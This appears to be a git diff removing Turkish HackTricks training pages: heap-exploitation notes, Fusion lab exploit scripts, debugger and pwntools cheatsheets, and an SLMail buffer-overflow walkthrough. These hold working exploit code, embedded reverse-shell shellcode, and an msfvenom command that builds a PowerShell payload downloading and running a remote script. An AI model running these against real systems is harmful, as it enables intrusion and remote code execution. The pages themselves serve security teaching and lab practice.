Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, yerleştirilmeden önce unsorted bins'de saklanır. Bir parça serbest bırakıldığında, hemen bin'e yerleştirilmez, bunun yerine unsorted bins'de kalır. Ardından, yeni bir parça talep edildiğinde ve önceki serbest bırakılan parça ona hizmet edebiliyorsa, onu geri verir; ancak daha büyük bir parça talep edilirse, unsorted bins'deki serbest bırakılan parça uygun bin'ine yerleştirilir.
Zayıf kodu elde etmek için bellek talebinin av->max_fast'ten (genellikle 72) büyük ve MIN_LARGE_SIZE'dan (512) küçük olması gerekir.
Eğer bin'de talep edilen boyuta uygun bir parça varsa, serbest bırakıldıktan sonra o parça geri verilir:
bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.
bin->bk = bck; Önceki parça son parça olur, eğer bck yığına işaret ediyorsa, bir sonraki rezervasyon bu adrese verilecektir.
bck->fd = bin; Listeyi kapatır, böylece bu bin'e işaret eder.
Gereksinimler:
- İki malloc rezervasyonu yapılması, böylece ilki, ikincisi serbest bırakıldıktan sonra taşma yapılabilir (yani, taşma yapılmadan önce ikinci parçadan daha büyük bir malloc rezervasyonu yapılmalıdır).
- Saldırgan tarafından kontrol edilen malloc rezervasyonu.
Amaç şudur: Eğer serbest bırakılmış bir yığın parçasına ve onun bin'ine taşma yapabiliyorsak, bk işaretçisini değiştirebiliriz. Eğer bk işaretçisini değiştirirsek ve bu parça listenin başı olursa ve yeniden rezervasyon yapılırsa, bin'e, bir sonraki parça (sunulacak olan) için sahte bir adres verildiği söylenir (yığın veya GOT gibi). Böylece, başka bir parça yeniden rezervasyon yapıldığında ve saldırganın buna erişimi varsa, istenen konumda bir parça verilecektir ve orada yazma işlemi yapılabilecektir.
Değiştirilen parçayı serbest bıraktıktan sonra, serbest bırakılan parçadan daha büyük bir parça rezervasyonu yapılması gerekir, böylece değiştirilen parça unsorted bins'den çıkar ve uygun bin'ine yerleştirilir.
Bir kez bin'ine yerleştirildiğinde, taşma ile bk işaretçisini değiştirmek için zamanı gelmiştir, böylece istediğimiz adrese işaret eder.
Bu nedenle, bin, yeterince malloc() çağrısı yapılana kadar beklemelidir, böylece değiştirilen bin yeniden kullanılır ve bin'e, bir sonraki parçanın sahte adreste olduğunu düşündürür. Ardından, ilgilendiğimiz parça verilecektir.
Zayıflığın mümkün olan en kısa sürede çalışması için ideal olan, zayıf parçanın rezervasyonu, değiştirilecek parçanın rezervasyonu, bu parçanın serbest bırakılması, daha büyük bir parça rezervasyonu yapılması, parçanın değiştirilmesi (zayıflık), zayıf parçayla aynı boyutta bir parça rezervasyonu yapılması ve bu ikinci parçanın istenen adrese işaret etmesidir.
Bu saldırıyı korumak için, parçanın “sahte” olmadığını kontrol eden tipik bir kontrol kullanılmıştır: bck->fd'nin victim'a işaret edip etmediği kontrol edilir. Yani, bizim durumumuzda, yığında işaret edilen sahte parçanın fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için, saldırganın bir şekilde (muhtemelen yığın üzerinden) uygun adrese victim adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür.
**LargeBin Bozulması**
Önceki gereksinimlerin yanı sıra, rezervasyon yapılan parçaların boyutları 512'den büyük olmalıdır.
Saldırı, önceki gibi, bk işaretçisini değiştirmeyi gerektirir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca, değiştirilen parçanın boyutunu, bu boyut - nb < MINSIZE olacak şekilde değiştirmek gerekir.
Örneğin, boyutu 1552 olarak ayarlamak, 1552 - 1544 = 8 < MINSIZE olmasını sağlar (çıkarma işlemi negatif olmamalıdır çünkü unsigned bir değer karşılaştırılır).
Ayrıca, bunu daha da karmaşık hale getiren bir yamanın uygulandığı belirtilmiştir.
**Heap Spraying**
Temelde, mümkün olan tüm bellek alanını yığınlar için ayırmak ve bunları bir nop yastığı ile doldurmak ve ardından bir shellcode ile doldurmak anlamına gelir. Ayrıca, yastık olarak 0x0c kullanılır. Çünkü 0x0c0c0c0c adresine atlamaya çalışılacak ve bu nedenle, bu adrese yazılan herhangi bir işaretçi aşırı yazılırsa, oraya atlanacaktır. Temel olarak taktik, mümkün olduğunca fazla alan ayırmak ve herhangi bir işaretçiyi aşırı yazıp 0x0c0c0c0c adresine atlamaktır, umarak orada nops bulmaktır.
**Heap Feng Shui**
Belleği, rezervasyonlar ve serbest bırakmalar yoluyla, boş parçaların arasında rezervasyon yapılmış parçalar kalacak şekilde düzenlemeyi içerir. Taşma yapılacak tampon, bu parçalardan birinin içinde yer alacaktır.
**objdump -d yürütülebilir** —> Fonksiyonları disassemble eder\
**objdump -d ./PROGRAMA | grep FUNCION** —> Fonksiyon adresini alır\
**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode olduğundan emin olmak ve OpCodes almak için\
**objdump -t ./exec | grep varBss** —> Semboller tablosu, değişkenlerin ve fonksiyonların adreslerini almak için\
**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta aşırı yazılacak puts adresini alır\
**objdump -D ./exec** —> Tümünü disassemble eder, plt girişlerine kadar\
**objdump -p -/exec**\
**Info functions strncmp —>** gdb'de fonksiyon bilgisi
## İlginç Kurslar
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referanslar**
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,60 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Level00
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. EIP'yi değiştirmek için offset alın
2. EIP'ye shellcode adresini koyun
```python
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
```
# Seviye01
```python
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,210 +0,0 @@
# Exploiting Tools
{{#include ../../banners/hacktricks-training.md}}
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodlar
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Kurulum
```
apt-get install gdb
```
### Parametreler
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Talimatlar
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB aynı adresler
GDB hata ayıklarken **çalıştırıldığında ikili dosya tarafından kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _İkili dosyanın mutlak yolunu koyun_
- İkili dosyayı aynı mutlak yol ile istismar edin
- GDB kullanırken ve ikili dosyayı istismar ederken `PWD` ve `OLDPWD` aynı olmalıdır
#### Fonksiyonları bulmak için geri izleme
Eğer **statik olarak bağlı bir ikili dosya** varsa, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve dış kütüphanelere değil). Bu durumda, **ikili dosyanın kullanıcı girişi istemek için izlediği akışı tanımlamak zor olacaktır.**\
Bu akışı kolayca tanımlayabilirsiniz **gdb** ile ikili dosyayı çalıştırarak, giriş istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB sunucusu
`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız)
## Ghidra
### Yığın ofsetini bul
**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmak için çok kullanışlıdır.**\
Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyacınız olduğunu gösterir. Ayrıca, `local_10` bir canary çereziyse, `local_bc`'den üzerine yazmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\
_RIP'in kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
![](<../../images/image (616).png>)
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\
**-o** --> Çıktı\
**-g** --> Kodu kaydet (GDB bunu görebilecek)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux'ta ASLR'yi devre dışı bırakmak için
**Bir shellcode derlemek için:**\
**nasm -f elf assembly.asm** --> bir ".o" döndürür\
**ld assembly.o -o shellcodeout** --> Çalıştırılabilir
## Objdump
**-d** --> **Çalıştırılabilir** bölümleri **dağıt** (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadget'ları bulmak, fonksiyon adresini bulmak...)\
**-Mintel** --> **Intel** sözdizimi\
**-t** --> **Semboller** tablosu\
**-D** --> **Hepsini dağıt** (statik değişkenin adresi)\
**-s -j .dtors** --> dtors bölümü\
**-s -j .got** --> got bölümü\
\-D -s -j .plt --> **plt** bölümü **değiştirildi**\
**-TR** --> **Yeniden konumlandırmalar**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'da değiştirilmesi gereken "puts" adresi\
**objdump -D ./exec | grep "VAR_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır).
## Core dump'lar
1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın
3. sudo gdb --core=\<path/core> --quiet
## Daha Fazla
**ldd çalıştırılabilir | grep libc.so.6** --> Adres (eğer ASLR varsa, bu her seferinde değişir)\
**for i in \`seq 0 20\`; do ldd \<Çalıştırılabilir> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" ofseti\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti
**strace çalıştırılabilir** --> Çalıştırılabilir tarafından çağrılan fonksiyonlar\
**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Uzak linux'ta hata ayıklama
IDA klasörü içinde, bir ikili dosyayı linux içinde hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunu yapmak için _linux_server_ veya _linux_server64_ ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın:
```
./linux_server64 -Ppass
```
Sonra, hata ayıklayıcıyı yapılandırın: Debugger (linux remote) --> Proccess options...:
![](<../../images/image (101).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,146 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
# Pwn asm
Satırdan veya dosyadan opcode'ları al.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Seçilebilir:**
- çıktı türü (ham, hex, string, elf)
- çıktı dosyası bağlamı (16, 32, 64, linux, windows...)
- baytlardan kaçın (yeni satırlar, null, bir liste)
- kodlayıcıyı seç, gdb kullanarak shellcode'u çalıştır ve çıktıyı al
# **Pwn checksec**
Checksec script
```
pwn checksec <executable>
```
# Pwn constgrep
# Pwn cyclic
Bir desen al
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Seçilebilir:**
- Kullanılan alfabe (varsayılan olarak küçük harfler)
- Benzersiz desenin uzunluğu (varsayılan 4)
- bağlam (16,32,64,linux,windows...)
- Ofseti al (-l)
# Pwn debug
Bir işleme GDB ekle
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Seçilebilir:**
- Çalıştırılabilir dosya, isim veya pid bağlamına göre (16,32,64,linux,windows...)
- Çalıştırılacak gdbscript
- sysrootpath
# Pwn disablenx
Bir ikili dosyanın nx'ini devre dışı bırakın
```
pwn disablenx <filepath>
```
# Pwn disasm
Hex opkodları disas
```
pwn disasm ffe4
```
**Seçilebilir:**
- bağlam (16,32,64,linux,windows...)
- temel adres
- renk (varsayılan)/renk yok
# Pwn elfdiff
2 dosya arasındaki farkları yazdırır
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
Onaltılık temsilini al
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn phd
Hexdump al
```
pwn phd <file>
```
**Seçilebilir:**
- Gösterilecek byte sayısı
- Satır başına vurgulanan byte sayısı
- Başlangıçtaki byte'ları atla
# Pwn pwnstrip
# Pwn scrable
# Pwn shellcraft
Shellcode'ları al
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Seçilebilir:**
- shellcode ve shellcode için argümanlar
- Çıktı dosyası
- çıktı formatı
- hata ayıklama (dbg'yi shellcode'a ekle)
- öncesi (koddan önce hata ayıklama tuzağı)
- sonrası
- opcode kullanmaktan kaçın (varsayılan: null ve yeni satır değil)
- shellcode'u çalıştır
- Renk/renksiz
- sistem çağrılarını listele
- olası shellcode'ları listele
- ELF'yi paylaşılan bir kütüphane olarak oluştur
# Pwn şablonu
Bir python şablonu al
```
pwn template
```
**Seçilebilir:** host, port, kullanıcı, şifre, yol ve sessiz
# Pwn unhex
Hex'ten string'e
```
pwn unhex 686f6c61
```
# Pwn güncellemesi
pwntools'u güncellemek için
```
pwn update
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,237 +0,0 @@
# Windows Exploiting (Temel Kılavuz - OSCP seviyesi)
{{#include ../banners/hacktricks-training.md}}
## **SLMail hizmetini kurmaya başlayın**
## SLMail hizmetini yeniden başlatın
Her seferinde **SLMail hizmetini yeniden başlatmanız** gerektiğinde, bunu Windows konsolunu kullanarak yapabilirsiniz:
```
net start slmail
```
![](<../images/image (23) (1).png>)
## Çok temel python istismar şablonu
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Immunity Debugger Yazı Tipini Değiştir**
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` yolunu izleyin.
## **İşlemi Immunity Debugger'a Bağla:**
**File --> Attach**
![](<../images/image (24) (1) (1).png>)
**Ve START butonuna basın.**
## **Exploit'i gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:**
![](<../images/image (25) (1) (1).png>)
Hizmeti her kırdığınızda, bu sayfanın başında belirtildiği gibi hizmeti yeniden başlatmalısınız.
## EIP'yi değiştirmek için bir desen oluşturun
Desen, daha önce hizmeti kırmak için kullandığınız tampon kadar büyük olmalıdır.
![](<../images/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Sömürgeyi değiştirin ve deseni ayarlayın ve sömürgeyi başlatın.
Yeni bir çökme görünmelidir, ancak farklı bir EIP adresi ile:
![](<../images/image (27) (1) (1).png>)
Adresin deseninizde olup olmadığını kontrol edin:
![](<../images/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Görünüşe göre **buffer'ın 2606 ofsetinde EIP'yi değiştirebiliriz**.
Sömürücü buffer'ı değiştirerek kontrol edin:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Bu tampon ile EIP çökmesi 42424242 ("BBBB")'ye işaret etmelidir.
![](<../images/image (30) (1) (1).png>)
![](<../images/image (29) (1) (1).png>)
Görünüşe göre çalışıyor.
## Yığın içinde Shellcode alanını kontrol et
600B, herhangi bir güçlü shellcode için yeterli olmalıdır.
Tamponu değiştirelim:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
yeni exploit'i başlatın ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin
![](<../images/image (31) (1).png>)
![](<../images/image (32) (1).png>)
Zafiyet ulaşıldığında, EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için yeterli alanımız olduğunu görebilirsiniz.
Bu durumda **0x0209A128 ile 0x0209A2D6 arasında = 430B.** Yeterli.
## Kötü karakterleri kontrol et
Tamponu tekrar değiştirin:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Badchars 0x01'de başlar çünkü 0x00 neredeyse her zaman kötü.
Bu yeni tampon ile, işe yaramaz olduğu tespit edilen karakterleri silerek istismarı tekrar tekrar çalıştırın:
Örneğin:
Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakteri nedeniyle hafızada hiçbir şey kaydedilmez).
![](<../images/image (33) (1).png>)
Bu durumda **0x0D karakterinin kaçınıldığını** görebilirsiniz:
![](<../images/image (34) (1).png>)
## Bir JMP ESP'yi dönüş adresi olarak bulun
Kullanarak:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Bellek haritalarını **listeleyeceksiniz**. Aşağıdaki özelliklere sahip bazı DLL'leri arayın:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
![](<../images/image (35) (1).png>)
Şimdi, bu bellek içinde bazı JMP ESP baytları bulmalısınız, bunu yapmak için:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Sonra, eğer bir adres bulunursa, kötü karakter içermeyen birini seçin:**
![](<../images/image (36) (1).png>)
**Bu durumda, örneğin: \_0x5f4a358f**\_
## Shellcode oluşturun
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), aynı parametreler için farklı shellcode'lar oluşturmak üzere msfvenom kullanarak başka shellcode'lar yaratmayı deneyin.
**Shellcode'un başına bazı NOPS ekleyin** ve bunu kullanarak ve dönüş adresi ile JMP ESP yaparak exploit'i tamamlayın:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> Kendini **üst üste yazacak** shellcode'lar vardır, bu nedenle shellcode'dan önce her zaman bazı NOP'lar eklemek önemlidir.
## Shellcode'u Geliştirme
Bu parametreleri ekleyin:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
